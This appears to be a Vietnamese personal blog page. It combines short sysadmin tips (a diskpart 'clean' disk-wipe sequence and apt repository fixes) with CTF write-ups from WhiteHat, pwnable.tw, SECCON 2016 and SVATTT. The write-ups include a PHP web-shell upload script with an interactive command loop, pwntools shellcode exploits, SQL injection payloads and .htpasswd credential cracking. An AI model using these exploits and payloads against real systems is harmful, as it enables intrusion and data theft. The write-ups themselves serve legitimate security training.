Khôi phục thẻ nhớ bị mất dung lượng

Bước 1: vào chạy cmd dưới quyền admin và gõ:

> diskpart (bật chương trình diskpart)

Bước 2:

> list disk 

(xem các disk trong máy, tìm disk của USB hoặc thẻ nhớ)
Bước 3:

> select disk x

(với x là tên disk của USB hoặc thẻ nhớ được list trong Bước 2)
Bước 4: delete vùng nhớ và gộp nó lại

> clean

Bước 5: tạo lại 1 ổ đĩa cho thẻ nhớ

> create partition primary

Bước 6: xem các vùng nhớ

> list partition

Bước 7: chọn vùng nhớ nãy tạo

> select partition x

(với x là tên partition vừa tạo)
Bước 8: Format vùng nhớ lại

> format fs=NTFS quick

Chờ vài phút là xong

WhiteHat Challenge 1

Giải này khá là ez nên mình cũng không muốn chém gió nhiều.
1. Misc 01 (25)
– bypass backslash trong SQLite, thực ra cái SQLite này không có chức năng backslash (ý tưởng giống tower2 SVATTT 2016)

joker@Kiva:~$ nc 103.237.98.32 3737
< Inject me if you can >
         --------------------
         \   ^__^
          \  (oo)\_______
             (__)\       )\/\
                 ||----w |
                 ||     ||

input name to check pass, ex:linh, trang...:  
' union select sql from sqlite_master-- -
password:  (u'CREATE TABLE mbbg(name varchar(128),pwd varchar(128))',)
input name to check pass, ex:linh, trang...:  
' union select pwd from mbbg-- -
password:  (u'whatissqlite',)
input name to check pass, ex:linh, trang...:  

2. web 01 (15)
-Chỉ đơn giản là làm 1 con shell và post lên nhưng không dùng browser vì nó check front-end

import requests

folder_uploaded = "resources/"
path_upload = 'upload_controllers.php'
url = 'http://lab11.wargame.whitehat.vn/4d070da310a6b3bea7f538dd5d265cea/'
proxy = {"http":"http://127.0.0.1:8080"}
name_post = 'input-image'
shell_name = '5cv2rf73dtg2jlup5bo2nnc1q6_1488008497_c735bca142e9759b6f1b0b2401039f52.php'
mime_type = 'image/png'
malicious = '<?php system($_POST["a"])?>'


def pwn(folder_uploaded,path_upload,url,proxy,name_post,shell_name,mime_type,malicious,debug=False):
	payload = [(name_post, (shell_name,malicious,mime_type))]
	s = requests.Session()
	if debug == False:
		s.get(url)
		s.post(url+path_upload,files=payload,data={"submit":"Upload"})
	else:
		s.get(url,proxies=proxy)
		s.post(url+path_upload,files=payload, verify=False, proxies=proxy,data={"submit":"Upload"})		
	filename = url+folder_uploaded+shell_name

	while 1:
		cmd = raw_input("$ ")
		if cmd=="exit":
			break
		shell = s.post(filename,data={"a":cmd}).text
		print shell


pwn(folder_uploaded,path_upload,url,proxy,name_post,shell_name,mime_type,malicious)

1

2

ez 2 flag

“Unable to locate package” (lỗi định mệnh)

Vâng, cái lỗi (píp píp píp) này hành xác không chỉ mình mà còn rất nhiều người khác. Và nay mình đã biết cách khắc phục nó.
Bản chất là thiếu repository nên chỉ cần add cái repository là được.
Bước 1: Bật tất cả các repositories lên

sudo add-apt-repository main
sudo add-apt-repository universe
sudo add-apt-repository restricted
sudo add-apt-repository multiverse

Bước 2: Tìm repository bằng 1 trong các cách sau
vào http://packages.ubuntu.com/ và search
vào https://www.ubuntuupdates.org/ và search
vào https://launchpad.net/ubuntu/+ppas và search ( khuyến cáo vì hiệu quả nhất)
Bước 3: add repository

sudo add-apt-repository ppa:<repository-name>

Bước 4: update

sudo apt-get update

Bước 5: Cài nó

sudo apt-get install (cccc)

Shell xịn ( orw – pwnable.tw )

from pwn import *


shell_read = asm("xor    ecx,ecx;\
				mul    ecx;\
				mov    al,0x5;\
				push   ecx;\
				push   0x67616c66;\
				push   0x2f77726f;\
				push   0x2f656d6f;\
				push  0x682f2f2f;\
				mov    ebx,esp;\
				int    0x80;\
				xchg   ebx,eax;\
				xchg   ecx,eax;\
				mov    al,0x3;\
				xor    edx,edx;\
				mov    dx,0xfff;\
				inc    edx;\
				int    0x80;\
				xchg   edx,eax;\
				xor    eax,eax;\
				mov    al,0x4;\
				mov    bl,0x1;\
				int    0x80;\
				xchg   ebx,eax;\
				int    0x80")


conn = remote("chall.pwnable.tw",10001)

rec_1  = conn.recvuntil("Give my your shellcode:")
print rec_1

conn.sendline(shell_read)

Shell sịn ( start – pwnable.tw )

from pwn import *

#s = process("./start")
s = remote('chall.pwnable.tw',10000)

a_leak = p32(0x08048087) #0x08048087 <+39>:	mov    ecx,esp
#shell23byte = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
shell23byte = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

buf = 0

def leak(buf):

	chuoi = s.recvuntil(":")
	print chuoi
	a = raw_input("Press any key")
	payload1 = "a"*20+a_leak
	s.send(payload1)
	print "sent: ",payload1
	chuoi = s.recv(200)
	addr =  chuoi.replace("Let's start the CTF:","")[0:4]
	addr = u32(addr) + 20 + buf
	print "address shell: ",hex(addr)
	return addr

def pwn(addr):
	payload2 = '\x90'*20 + p32(addr) + "\x90"*12 +shell23byte
	a = raw_input("Press any key")
	s.sendline(payload2)
	print "sent: ",payload2

addr = leak(buf)
pause(2)
pwn(addr)
pause(2)
s.interactive()

SECCON 2016 – uncomfortable web (web300)


Decription:
Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!

Firstly, we know it allow us to upload and run a script written by perl, python and shell
Of course, We need to attack to http://127.0.0.1:81/authed/
Let try with curl and something happen
1
And we have list of file and folder:
authed/
select.cgi
also try something with select.cgi
2
A get method from with the name “txt” and some values is “a”,”b”.
3
Something happen, I guess it is a.txt because the name of the post
4
Try to read some important file like “.htaccess”
5
We get something interesting

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName “SECCON 2016”
AuthType Basic
Require user keigo

So, let try to get authed from .htpasswd
6
keigo:LdnoMJCeVy.SE
Best, try to decrypt password we get “test”
1
Then access to authed/
7
Then it show us a list of file and folder:

a.txt
b.txt
c.txt
sqlinj/

8
Yup, more and more file: [1-100].cgi
in each file, it give me a get method with the name “no” and value is “4822267938”
Note: Get the flag in the database!
we need to try injection with list of file with payload: curl -u keigo:test “localhost:81/authed/sqlinj/[1-100].cgi?no=4822267939-1”
9
OK not found anything, “4822267938” may be a string but not number
Try to inject it with quote, payload is: curl -u keigo:test “localhost:81/authed/sqlinj/[1-100].cgi?no=a’or’1’like’1′–”
10
And found injection in 72.cgi
Yup let take a quiz with sql injection
btw, I think it blacklist (,) and space, let bypass it use comment /**/
And easy to find table_name
12
So easy to find flag
13

flag: SECCON{I want to eventually make a CGC web edition… someday…}

SVATTT Farm Web200 ( vietlott & readfile return)

Vietlott – web200

Mỗi lần thi xong là một lần ôm đống việc, deadline ơi sao mà nhiều thế, mà thôi cũng không mất nhiều thời gian nên write up một bài biết đâu có tiền 😐
Bài này thực ra chả có gì khó, chỉ cần nhìn filter là biết làm gì rồi, ước gì lúc thi mình nhìn vào nó một tí, thật là sida.
Không chặn group by thì mình dùng group by, ez
payload: your_number=1 group by 1
1
flag: SVATTT{N0_alias_anym0r3}

Readfile Return – web200

Bài này cũng không phải khó, vì thực ra nó cũng y hệt như bài readfile vòng loại, nhưng vì chiến thuật team mình là Full Attack nên mình cũng không làm bài farm nào.
Tư duy bài này là thay vì brute timestamp như readfile trước thì mình sẽ force cái file name thay đổi để xác suất gặp được trường hợp $realsig trở thành dạng magic hash

url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=./flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=.//flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=././flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=.///./flag.php&sig=0
các Url trên đều như nhau nên lợi dụng điều đó mình sẽ brute được đoạn filename 700 kí tự là vô cùng nhiều trường hợp, xác suất là khá cao để gặp magic hash.

Code một đoan padding như này:
kí tự đầu tiên là “.”
kí tự thứ cuối cùng là “/”
nếu kí tự thứ n là “.” thì kí tự thứ n+1 là “/”
nếu kí tự thứ n là “/” thì kí tự thứ n+1 là “.” hoặc “/”

url = ” http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=”+padding+”flag.php&sig=0
Brute ra chắc sẽ có flag, vì không có nhiều thời gian nên mình nói tới đây thôi, khi nào rảnh mình sẽ code và up lên, tất nhiên bây giờ thì mình sẽ không up vì đống deadline trên lớp.